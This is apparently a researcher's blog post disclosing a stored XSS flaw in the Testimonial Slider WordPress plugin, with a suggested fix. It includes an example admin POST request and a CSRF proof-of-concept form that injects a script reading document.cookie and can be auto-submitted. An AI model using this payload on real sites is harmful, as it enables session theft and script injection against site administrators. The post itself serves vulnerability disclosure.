Stored XSS in wordpress plugin testimonial-slider

by Vinnie Vanhoecke — on  ,  , 



So instead of playing CTF challenges in the evening I decided to go for CVE hunting. As this was my first time really doing this I opted to start easy with some wordpress plugins to find any vulnerabilities. Once I found a vulnerability I reported the details to and then filled in the details in CVE Form to assign a CVE to the vulnerability. Unfortunualty the vulnerability was already discovered before I did.

Vulnerability information

Title: Stored XSS in Testimonial-slider plugin (Wordpress)
Plugin: Testimonial Slider
CVSS score: 3.3 AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:P/RL:X/RC:X
Testimonial-slider version tested: 1.2.5
Wordpress version tested: 4.9.6
Possible to combine with a CSRF attack if no other CSRF counter measures are present in the wordpress application.


Escape all characters when outputting the values in the response. This could be done by using a decent escaping function in the file settings/sliders.php on line 97

<li class="yellow"><a href="#tabs-<?php echo $slider['slider_id']; ?>"><?php echo htmlentities($slider['slider_name']); ?></a></li>


An authenticated user could store an XSS payload using the testimonial-plugin. When creating a slider name the function fails to sanitise the '<' and '>'. There are some characters escaped (eg ' ")so this increases the difficulty to exploit it. Nevertheless it is still possible. The following post request shows an example of an XSS payload:

POST /wp-admin/admin.php?page=testimonial-slider-admin HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Cookie: <Cookies>
Connection: close
Upgrade-Insecure-Requests: 1


XSS Result

As I said before, you could combine it with a CSRF attack. But only if the application did not add any CSRF countermeasures. There could be other frameworks or plugins that can handle CSRF attacks without the knowledge of the testimonial plugin. All an attacker needs to do is force an authenticated user to visit a page that the attacker owns. The attacker would then host the following code in that web page and the CSRF attack will be send once the user clicks on "Submit request". This could be automatically be clicked as well with javascript, so that the user does not need to click the button.

  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="create&#95;new&#95;slider" value="1" />
      <input type="hidden" name="new&#95;slider&#95;name" value="slider1&lt;script&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="create&#95;new" value="Create&#32;New" />
      <input type="hidden" name="active&#95;tab" value="2" />
      <input type="submit" value="Submit request" />